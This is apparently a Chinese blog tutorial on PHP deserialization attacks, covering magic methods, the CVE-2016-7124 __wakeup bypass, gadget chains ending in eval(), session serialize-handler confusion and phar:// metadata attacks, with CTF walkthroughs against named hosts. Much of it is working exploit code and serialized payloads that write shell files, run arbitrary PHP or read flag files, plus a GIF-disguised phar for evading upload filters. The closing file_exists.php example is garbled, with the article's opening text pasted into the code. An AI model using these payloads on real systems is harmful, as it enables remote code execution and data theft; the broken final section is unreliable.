序列化与反序列化 序列化 定义:利用serialize()
函数将一个对象转换为字符串形式 我们先看一下直接输出对象是什么效果,代码如下
1 2 3 4 5 6 7 8 <?php class test { public $name ="ghtwf01" ; public $age ="18" ; } $a =new test (); print_r ($a ); ?>
效果如下 这个时候我们利用serialize()
函数将这个对象进行序列化成字符串然后输出,代码如下
1 2 3 4 5 6 7 8 9 <?php class test { public $name ="ghtwf01" ; public $age ="18" ; } $a =new test (); $a =serialize ($a ); print_r ($a ); ?>
效果如下
如果不是public
方法那么后面的读取方法就有点不一样,例如代码如下
1 2 3 4 5 6 7 8 9 10 <?php class test { public $name ="ghtwf01" ; private $age ="18" ; protected $sex ="man" ; } $a =new test (); $a =serialize ($a ); print_r ($a ); ?>
效果如下
private分析: 这样就发现本来是age
结果上面出现的是testage
,而且testage
长度为7
,但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名 ,%00
占一个字节长度,所以age
加了类名后变成了testage
长度为9
protect分析: 本来是sex
结果上面出现的是*sex
,而且*sex
的长度是4
,但是上面显示的是6
,同样查找资料后发现protect属性序列化的时候格式是%00 %00成员名 *
这里介绍一下public、private、protected的区别
1 2 3 4 5 public (公共的):在本类内部、外部类、子类都可以访问protect (受保护的):只有本类或子类或父类中可以访问private (私人的):只有本类内部可以使用
反序列化 定义:反序列化就是利用unserailize()
函数将一个经过序列化的字符串还原成php代码形式,代码如下
1 2 3 4 <?php $b ='序列化字符串' ; $b =unserialize ($b ); ?>
反序列化漏洞原理 到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系 这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了 附上讲解魔术方法的链接:https://segmentfault.com/a/1190000007250604
1 2 3 4 5 6 7 8 9 __construct ()当一个对象创建时被调用__destruct ()当一个对象销毁时被调用__toString ()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用__sleep () 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用
我们用代码演示一下这些魔术方法的使用效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class test { public $a ='hacked by ghtwf01' ; public $b ='hacked by blckder02' ; public function pt ( ) { echo $this ->a.'<br />' ; } public function __construct ( ) { echo '__construct<br />' ; } public function __destruct ( ) { echo '__construct<br />' ; } public function __sleep ( ) { echo '__sleep<br />' ; return array ('a' ,'b' ); } public function __wakeup ( ) { echo '__wakeup<br />' ; } } $object = new test (); $serialize = serialize ($object ); echo 'serialize: ' .$serialize .'<br />' ; $unserialize =unserialize ($serialize ); $unserialize ->pt (); ?>
运行效果如下:
原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct
这里我们看一个存在反序列化漏洞的代码
1 2 3 4 5 6 7 8 9 10 <?php class A { public $test = "demo" ; function __destruct ( ) { echo $this ->test; } } $a = $_GET ['value' ];$a_unser = unserialize ($a );?>
这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有echo
,我们尝试一下在这个页面显示hacked by ghtwf01
的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为A
,对象名为test
)
1 2 3 4 5 6 7 8 <?php class A { public $test ="hacked by ghtwf01" ; } $b = new A (); $result =serialize ($b ); print_r ($result ); ?>
这样就得到这段字符序列化后的内容
将它传入目标网页,返回结果如下
既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333,到这里应该懂得点什么叫反序列化漏洞了
一道简单的反序列化考点题http://120.79.33.253:9001/
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );include "flag.php" ;$KEY = "D0g3!!!" ;$str = $_GET ['str' ];if (unserialize ($str ) === "$KEY " ){ echo "$flag " ; } show_source (__FILE__ );
题目的大意就是反序列化一个变量后的值等于D0g3!!!
,这个变量是用户输入的,于是我们写代码将D0g3!!!
序列化
1 2 3 4 5 <?php $a ="D0g3!!!" ; $b =serialize ($a ); echo $b ; ?>
得到序列化后的内容是
将序列化后的内容传入得到flag
现在再来一道bugku的反序列化题 welcome to bugctf(这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下)
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $txt = $_GET ["txt" ]; $file = $_GET ["file" ]; $password = $_GET ["password" ]; if (isset ($txt )&&(file_get_contents ($txt ,'r' )==="welcome to the bugkuctf" )){ echo "hello friend!<br>" ; if (preg_match ("/flag/" ,$file )){ echo "不能现在就给你flag哦" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { echo "you are not the number of bugku ! " ; } ?>
代码有点长我们先来分析一下这串代码想表达什么 1.先GET
传入参数$txt
、$file
、$password
2.判断$txt
是否存在,如果存在并且值为welcome to the bugkuctf
就进一步操作,$file
参数里面不能包含flag
字段 3.通过以上判断就include($file)
,再将$password
反序列化并输出
hint.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("good" ); } } } ?>
index.php
里面要求$file
参数不能包含flag
字段,所以文件不能包含flag.php
,所以$file=hint.php
,把hint.php
包含进去,里面存在一个file_get_concents函数
可以读文件,想到index.php
里面的unserialize
函数,所以只需要控制$this->file
就能读取想要的文件 用这段代码的结果传值给$password
1 2 3 4 5 6 7 8 <?php class Flag { public $file ='flag.php' ; } $a =new Flag (); $b =serialize ($a ); echo $b ; ?>
$password
进行反序列化后$file
就被赋值为flag.php
,然后file_get_contents
就得到了flag
再来一个反序列化漏洞利用例子,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 <?php class foo { public $file = "2.txt" ; public $data = "test" ; function __destruct ( ) { file_put_contents (dirname (__FILE__ ).'/' .$this ->file,$this ->data); } } $file_name = $_GET ['filename' ]; print "You have readfile " .$file_name ; unserialize (file_get_contents ($file_name )); ?>
这串代码的意思是将读取的文件内容进行反序列化,__destruct
函数里面是生成文件,如果我们本地存在一个文件名是flag.txt
,里面的内容是
1 O:3 :"foo" :2 :{s:4 :"file" ;s:9 :"shell.php" ;s:4 :"data" ;s:18 :"<?php phpinfo();?>" ;}
将它进行反序列化就会生成shell.php
里面的内容为<?php phpinfo();?>
#CVE-2016-7124 __wakeup绕过__wakeup魔法函数简介 unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup()
方法,预先准备对象需要的资源 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行漏洞影响版本: php5 < 5.6.25 php7 < 7.0.10漏洞复现: 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class A { public $target = "test" ; function __wakeup ( ) { $this ->target = "wakeup!" ; } function __destruct ( ) { $fp = fopen ("D:\Program Files\PHPTutorial\WWW\zx\hello.php" ,"w" ); fputs ($fp ,$this ->target); fclose ($fp ); } } $a = $_GET ['test' ]; $b = unserialize ($a ); echo "hello.php" ."<br/>" ; include ("./hello.php" ); ?>
魔法函数__wakeup()
要比__destruct()
先执行,所以我们之间传入O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
时会被先执行的__wakeup()
函数$target
赋值覆盖为wakeup!
,然后生成的hello.php
里面的内容就是wakeup!
现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行,对象个数原来是1我们将其改为2,也就是O:2:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
就能实现绕过
注入对象构造方法 当目标对象被private、protected修饰时反序列化漏洞的利用 上面说了private
和protected
返回长度和public
不一样的原因,这里再写一下
1 2 private 属性序列化的时候格式是%00 类名%00 成员名protect属性序列化的时候格式是%00 *%00 成员名
protected
情况下,代码如下
1 2 3 4 5 6 7 8 9 10 <?php class A { protected $test = "hahaha" ; function __destruct ( ) { echo $this ->test; } } $a = $_GET ['test' ]; $b = unserialize ($a ); ?>
利用方式: 先用如下代码输出利用的序列化串
1 2 3 4 5 6 7 8 <?php class A { protected $test = "hacked by ghtwf01" ; } $a = new A (); $b = serialize ($a ); print_r ($b ); ?>
得到O:1:"A":1:{s:7:"*test";s:17:"hacked by ghtwf01";}
因为protected
是*
号两边都有%00
,所以必须在url
上面也加上,否则不会利用成功
private
情况下,代码如下
1 2 3 4 5 6 7 8 <?php class A { private $test = "hacked by ghtwf01" ; } $a = new A (); $b = serialize ($a ); print_r ($b ); ?>
利用代码这里省略吧,同上面,得到序列化后的字符串为O:1:"A":1:{s:7:"Atest";s:17:"hacked by ghtwf01";
因为private
是类名A
两边都有%00
所以同样在url
上面体现
同名方法的利用 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class A { public $target ; function __construct ( ) { $this ->target = new B; } function __destruct ( ) { $this ->target->action (); } } class B { function action ( ) { echo "action B" ; } } class C { public $test ; function action ( ) { echo "action A" ; eval ($this ->test); } } unserialize ($_GET ['test' ]); ?>
这个例子中,class B
和class C
有一个同名方法action
,我们可以构造目标对象,使得析构函数调用class C
的action
方法,实现任意代码执行 利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class A { public $target ; function __construct ( ) { $this ->target = new C; $this ->target->test = "phpinfo();" ; } function __destruct ( ) { $this ->target->action (); } } class C { public $test ; function action ( ) { echo "action C" ; eval ($this ->test); } } echo serialize (new A); ?>
session反序列化漏洞 什么是session session
英文翻译为”会话”,两个人聊天从开始到结束就构成了一个会话。PHP
里的session
主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期
PHP session工作流程 会话的工作流程很简单,当开始一个会话时,PHP
会尝试从请求中查找会话 ID
(通常通过会话 cookie
),如果发现请求的Cookie
、Get
、Post
中不存在session id
,PHP
就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post
都不存在session id
,于是就使用了set-cookie
头
有时候浏览器用户设置会禁止 cookie
,当在客户端cookie
被禁用的情况下,php
也可以自动将session id
添加到url
参数中以及form
的hidden
字段中,但这需要将php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set
来设置这个配置项
会话开始之后,PHP
就会将会话中的数据设置到 $_SESSION
变量中,如下述代码就是一个在 $_SESSION
变量中注册变量的例子:
1 2 3 4 5 6 <?php session_start ();if (!isset ($_SESSION ['username' ])) { $_SESSION ['username' ] = 'ghtwf01' ; } ?>
代码的意思就是如果不存在session
那么就创建一个session
也可以用如下流程图表示
php.ini配置 php.ini
里面有如下六个相对重要的配置
1 2 3 4 5 6 session.save_path="" --设置session的存储位置 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0 ,不启动 session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy
下上述配置如下:
1 2 3 4 5 6 session.save_path = "/tmp" --所有session文件存储在/tmp目录下 session.save_handler = files --表明session是以文件的方式来进行存储的 session.auto_start = 0 --表明默认不启动session session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php (反)序列化引擎 session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量 session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
PHP session 的存储机制 上文中提到了 PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid
形式
打开看一下全是序列化后的内容
现在我们来看看session.serialize_handler
,它定义的引擎有三种
| 处理器名称 | 存储格式 | | php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 | | php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值| | php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
php处理器 首先来看看session.serialize_handler
等于php
时候的序列化结果,代码如下
1 2 3 4 5 6 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
session
的sessionid
其实可以看到的,为i38age8ok4bofpiuiku3h20fh0
于是我们到session
存储目录查看一下session
文件内容
session
为$_SESSION['session']
的键名,|
后为传入GET
参数经过序列化后的值
php_binary处理器 再来看看session.serialize_handler
等于php_binary
时候的序列化结果
1 2 3 4 5 6 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['sessionsessionsessionsessionsession' ] = $_GET ['session' ];?>
为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35
,35
对应的 ASCII
码为#
,所以最终的结果如下
#
为键名长度对应的 ASCII
的值,sessionsessionsessionsessionsessions
为键名,s:7:"xianzhi";
为传入 GET
参数经过序列化后的值
php_serialize 处理器 最后就是session.serialize_handler
等于php_serialize
时候的序列化结果,代码如下
1 2 3 4 5 6 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
结果如下
a:1
表示$_SESSION
数组中有 1
个元素,花括号里面的内容即为传入GET
参数经过序列化后的值
session的反序列化漏洞利用 php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入 |
, 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。 我们创建一个session.php
,用于传输session
值,里面代码如下
1 2 3 4 5 6 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
再创建一个hello.php
,里面代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 ); ini_set ('session.serialize_handler' ,'php' ); session_start (); class D0g3 { public $name = 'panda' ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new XianZhi (); ?>
这两个文件的作用很清晰,session.php
文件的处理器是php_serialize
,hello.php
文件的处理器是php
,session.php
文件的作用是传入可控的 session
值,hello.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值 运行一下hello.php
看一下效果
我们用如下代码来复现一下session
的反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class D0g3 { public $name = 'ghtwf01' ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new D0g3 (); echo serialize ($str ); ?>
输出结果为
因为session
是php_serialize
处理器,所以允许|
存在字符串中,所以将这段代码序列化内容前面加上|
传入session.php
中 现在来看一下存入session
文件的内容
再打开hello.php
一道CTF题:PHPINFO 题目链接:http://web.jarvisoj.com:32784/ 题目中给出如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php ini_set ('session.serialize_handler' , 'php' );session_start ();class OowoO { public $mdzz ; function __construct ( ) { $this ->mdzz = 'phpinfo();' ; } function __destruct ( ) { eval ($this ->mdzz); } } if (isset ($_GET ['phpinfo' ])){ $m = new OowoO (); } else { highlight_string (file_get_contents ('index.php' )); } ?>
仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php')
,想到可不可能是session
反序列化漏洞,看一下phpinfo
,发现session.serialize_handler
设置如下
1 2 local value (当前目录,会覆盖master value内容):php master value (主目录,php.ini里面的内容):php_serialize
这个很明显就存在php session
反序列化漏洞,但是入口点在哪里,怎么控制session
的值 在phpinfo
里面看到了
1 2 session.upload_progress.enabled on session.upload_progress.cleanup off
当一个上传在处理中,同时POST
一个与INI
中设置的session.upload_progress.name
同名变量时,当PHP
检测到这种POST
请求时,它会在$_SESSION
中添加一组数据。所以可以通过Session Upload Progress
来设置session
允许上传且结束后不清除数据,这样更有利于利用 在html
网页源代码上面添加如下代码
1 2 3 4 5 <form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
接下来考虑如何利用
1 2 3 4 5 6 7 8 9 10 <?php ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();class OowoO { public $mdzz ='print_r(scandir(dirname(__FILE__)));' ; } $obj = new OowoO ();echo serialize ($obj );?>
得到
为了防止转义,在每个双引号前加上\
,即
1 |O:5 :\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
点击提交,burpsuite
抓包将filename
的值改为它
查询到当前目录有哪些文件了,在phpinfo
里面查看到当前目录路径
于是我们利用
1 print_r (file_get_contents ("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php" ));
来读取Here_1s_7he_fl4g_buT_You_Cannot_see.php
中的内容,同样的道理加上\
后将filename
改为
1 |O:5 :\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag
phar拓展反序列化攻击面 phar文件简介 概念 一个php
应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window
操作系统上面的安装程序、一个jquery
库等等,为了做到这点php
采用了phar
文档文件格式,这个概念源自java
的jar
,但是在设计时主要针对 PHP 的 Web 环境,与 JAR
归档不同的是Phar
归档可由 PHP
本身处理,因此不需要使用额外的工具来创建或使用,使用php
脚本就能创建或提取它。phar
是一个合成词,由PHP
和 Archive
构成,可以看出它是php
归档文件的意思(简单来说phar
就是php
压缩文档,不经过解压就能被 php
访问并执行)
phar组成结构 1 2 3 4 stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER ();?> ; manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储 contents:压缩文件的内容 signature:签名,放在文件末尾
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多
前提条件 1 2 php.ini中设置为phar.readonly =Off php version>=5.3 .0
phar反序列化漏洞 漏洞成因:phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化
demo测试 根据文件结构我们来自己构建一个phar
文件,php
内置了一个Phar
类来处理相关操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
可以很明显看到manifest
是以序列化形式存储的
有序列化数据必然会有反序列化操作,php
一大部分的文件系统函数在通过phar://
伪协议解析phar
文件时,都会将meta-data
进行反序列化 在网上扒了一张图
用如下demo证明
1 2 3 4 5 6 7 8 9 10 <?php class TestObject { public function __destruct ( ) { echo 'hello ghtwf01' ; } } $filename = 'phar://phar.phar/test.txt' ; file_get_contents ($filename ); ?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如file_exists
函数,代码如下
1 2 3 4 5 6 7 8 9 10 <?php class TestObject { public function __destruct ( ) { echo 'hello ghtwf01' ; } } $filename = 'phar://phar.phar/a_random_string' ; file_exists ($filename ); ?>
将phar伪造成其他格式的文件 在前面分析phar
的文件结构时可能会注意到,php
识别phar
文件是通过其文件头的stub
,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar
文件伪装成其他格式的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
采用这种方法可以绕过很大一部分上传检测
利用条件 1 2 3 phar文件需要上传到服务器端 要有可用的魔术方法作为“跳板” 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
漏洞复现 upload.php 白名单只允许上传jpg,png,gif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html> <html> <head> <title>文件上传</title> </head> <body> <form method="post" enctype="multipart/form-data" > <input type="file" name="pic" /> <input type="submit" value="上传" /> </body> </html> <?php header ("Content-type:text/html;charset=utf-8" ); $ext_arr =array ('.jpg' ,'.png' ,'.gif' ); if (empty ($_FILES )){ echo "请上传文件" ; }else { define ("PATH" ,dirname (__DIR__ )); $path =PATH."/" ."upload" ."/" ."images" ; $filetype =strrchr ($_FILES ["pic" ]["name" ],"." ); if (in_array ($filetype ,$ext_arr )){ move_uploaded_file ($_FILES ["pic" ]["tmp_name" ],$path ."/" .$_FILES ["pic" ]["name" ]); echo "上传成功!" ; }else { echo "只允许上传.jpg|.png|.gif类型文件!" ; } } ?>
file_exists.php 验证文件是否存在,漏洞利用点:file_exists()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 <?php $filename =$_GET ['filename' ];class ghtwf01 { public $a = 'echo exists;' ; function __destruct ( ) { eval ($this -> a); } 定义:利用`serialize ()`函数将一个对象转换为字符串形式 我们先看一下直接输出对象是什么效果,代码如下 ``` php <?php class test { public $name ="ghtwf01" ; public $age ="18" ; } $a =new test (); print_r ($a ); ?> ``` 效果如下 ![](https: 这个时候我们利用`serialize ()`函数将这个对象进行序列化成字符串然后输出,代码如下 ``` php <?php class test { public $name ="ghtwf01" ; public $age ="18" ; } $a =new test (); $a =serialize ($a ); print_r ($a ); ?> ``` 效果如下 ![2 .png](https: 如果不是`public `方法那么后面的读取方法就有点不一样,例如代码如下 ``` php <?php class test { public $name ="ghtwf01" ; private $age ="18" ; protected $sex ="man" ; } $a =new test (); $a =serialize ($a ); print_r ($a ); ?> ``` 效果如下 ![3 .png](https: private 分析:这样就发现本来是`age`结果上面出现的是`testage`,而且`testage`长度为`7 `,但是上面显示的是`9 ` 查找资料后发现**private 属性序列化的时候格式是%00 类名%00 成员名**,`%00 `占一个字节长度,所以`age`加了类名后变成了`testage`长度为`9 ` protect分析: 本来是`sex`结果上面出现的是`*sex`,而且`*sex`的长度是`4 `,但是上面显示的是`6 `,同样查找资料后发现**protect属性序列化的时候格式是%00 *%00 成员名** 这里介绍一下public 、private 、protected 的区别 ``` php public (公共的):在本类内部、外部类、子类都可以访问protect (受保护的):只有本类或子类或父类中可以访问private (私人的):只有本类内部可以使用``` 定义:反序列化就是利用`unserailize ()`函数将一个经过序列化的字符串还原成php代码形式,代码如下 ``` php <?php $b ='序列化字符串' ; $b =unserialize ($b ); ?> ``` 到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系 这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了 附上讲解魔术方法的链接:https: ``` php __construct ()当一个对象创建时被调用__destruct ()当一个对象销毁时被调用__toString ()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用__sleep () 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用 ``` 我们用代码演示一下这些魔术方法的使用效果 ``` php <?php class test { public $a ='hacked by ghtwf01' ; public $b ='hacked by blckder02' ; public function pt ( ) { echo $this ->a.'<br />' ; } public function __construct ( ) { echo '__construct<br />' ; } public function __destruct ( ) { echo '__construct<br />' ; } public function __sleep ( ) { echo '__sleep<br />' ; return array ('a' ,'b' ); } public function __wakeup ( ) { echo '__wakeup<br />' ; } } $object = new test (); $serialize = serialize ($object ); echo 'serialize: ' .$serialize .'<br />' ; $unserialize =unserialize ($serialize ); $unserialize ->pt (); ?> ``` 运行效果如下: ![9 .png](https: 原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次`__destruct` 这里我们看一个存在反序列化漏洞的代码 ``` php <?php class A { public $test = "demo" ; function __destruct ( ) { echo $this ->test; } } $a = $_GET ['value' ];$a_unser = unserialize ($a );?> ``` 这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有`echo `,我们尝试一下在这个页面显示`hacked by ghtwf01`的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为`A`,对象名为`test`) ``` php <?php class A { public $test ="hacked by ghtwf01" ; } $b = new A (); $result =serialize ($b ); print_r ($result ); ?> ``` 这样就得到这段字符序列化后的内容 ![4 .png](https: 将它传入目标网页,返回结果如下 ![5 .png](https: 既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333 ,到这里应该懂得点什么叫反序列化漏洞了 ![6 .png](https: 一道简单的反序列化考点题 http: ``` php <?php error_reporting (0 );include "flag.php" ;$KEY = "D0g3!!!" ;$str = $_GET ['str' ];if (unserialize ($str ) === "$KEY " ){ echo "$flag " 